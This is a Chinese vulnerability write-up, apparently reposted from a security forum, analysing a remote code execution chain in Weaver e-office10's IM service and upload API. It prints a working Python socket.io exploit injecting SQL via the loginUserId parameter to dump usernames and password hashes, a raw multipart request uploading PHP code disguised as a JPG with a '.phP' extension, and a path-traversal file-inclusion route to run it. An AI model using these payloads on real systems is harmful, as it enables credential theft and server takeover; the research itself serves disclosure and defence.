泛微 e-office10 远程代码执行漏洞分析
2023-11-29 20:14:20 Author: xz.aliyun.com(查看原文) 阅读量:25 收藏

根据微步描述知道是im服务的洞https://mp.weixin.qq.com/s/4om8iuGpAKWPjEocBB4lKQ

2、临时修复方案:

1.使用防护类设备对相关资产进行SQL注入、文件包含等攻击的防护;
2.在确认不影响业务的情况下可临时关闭im服务,或使用网络ACL策略限制im服务的公网访问。

得到nodejs的server路径。没混淆什么的。diff一下

知道是getPersonalOfflineRecord的问题

socket事件为outline recordLength时触发。

loginUserId是query传进来的

继续跟connectToSocket

这里的/webwebsocketnamespace

outline recordLength是事件

python 连接websocket 代码如下

有个坑。。。socketio报错可能需要装特定版本才能连上。不然会有OPEN packet not returned by server报错

pip install python-engineio==3.14.2 python-socketio==4.6.0

import socketio

sio = socketio.Client()

@sio.on('connect', namespace='/web')
def connect():
    print('Connected to the server')
    sio.emit('outline recordLength', None, namespace='/web')
#发送事件
@sio.on('send recordLength', namespace='/web')
def on_message(data):
    print('Received data: ' + str(data))
#用来接收返回值

sio.connect('http://192.168.0.139:4986?loginUserId=admin&loginDeptId=0&loginRoleId=1', namespaces=['/web'])

try:
    sio.wait()
except KeyboardInterrupt:
    pass
finally:
    sio.disconnect()

现在主要来看outline recordLength事件的处理

personalRecordTableNameArray为查询information_schema.tableschat_personal_record开头的表

chat_personal_record开头的表默认只有chat_personal_record。需要自己新建账号。聊天几句就会创建chat_personal_record_1等。后面有用。

这里就判断了。数据库中的表是否有chat_personal_record_0、1、2、3。如果没有就不会继续执行变量赋值了。下面的所有sql都依赖于这

之后就是直接带入sql执行了。然后返回值。

最终exp如下

import socketio

sio = socketio.Client()

@sio.on('connect', namespace='/web')
def connect():
    print('Connected to the server')
    sio.emit('outline recordLength', None, namespace='/web')

@sio.on('send recordLength', namespace='/web')
def on_message(data):
    print('Received data: ' + str(data))


sio.connect('http://192.168.0.139:4986?loginUserId=aa",`chat_object`) union select 1,2,3,group_concat(user_accounts,0x7e,password,0x7e) ,5,6,0,8,9,10,11,12 from user%23&loginDeptId=0&loginRoleId=1', namespaces=['/web'])

try:
    sio.wait()
except KeyboardInterrupt:
    pass
finally:
    sio.disconnect()

这里password是md5(unix)。要解。解不出来就没用。或者还有其他的接口可以直接MD5登录?

登录后之后文件包含利用。长亭之前也发过一个。抓过接口。

POST /eoffice10/server/public/api/welink/welink-move HTTP/1.1
Host: 192.168.0.139:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.139:8010/eoffice10/client/web/system/user/manage
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvQIRygBK
Content-Length: 8003

------WebKitFormBoundaryvQIRygBK
Content-Disposition: form-data; name="file"; filename="1.phP"
Content-Type: image/png

jpg文件内容+后面<?php xxxx
------WebKitFormBoundaryvQIRygBK--

只有内容校验。jpg的。但是直接php不能上传 有过滤

并且上传在attachment目录不能直接访问

至于为啥这里要用phP下面再说

返回包对应的attachment目录为attachment\2023\11\29\8de8701f16a64d88f5fda3ad1b3f5375\1.phP

HTTP/1.1 200 OK
Date: Wed, 29 Nov 2023 10:14:22 GMT
Server: Apache
Cache-Control: no-cache, private
Connection: close
Content-Type: application/json
Content-Length: 2702

{"status":1,"data":[{"attachmentId":"8de8701f16a64d88f5fda3ad1b3f5375","attachmentName":"1.phP","attachmentThumb":"data:image\/jpg;base64,\/xxxxxxxx","attachmentSize":7841,"attachmentType":"jpg","attachmentMark":1}],"runtime":"0.170"}

这里文件上传就搞定了。接着看文件包含。搜require(.*?)\$搜到getArrayFromPhp

这里看getLangFileFullPath的实现和上层调用$local, $module是否可控

先看方法实现。$this->serverLangSuffix.php 并且getServerLangFolder是获取eoffice10\server\resources目录。所以只要$filename可控。就能../../配合1.php文件包含。由于泛微E-office只能Windows下部署(官网试用只有exe。咱也不知道有无Linux版)

由于Windows下大小写不分。上传1.phP。包含1.php可以包含到。。ok接着回头看getPhpLangArrayByModule上层调用的$module

继续跟进getServerStaticLangsByModule

module可控。并且有定义路由

带上登录的Authorization直接文件包含


文章来源: https://xz.aliyun.com/t/13137
如有侵权请联系:admin#unsafe.sh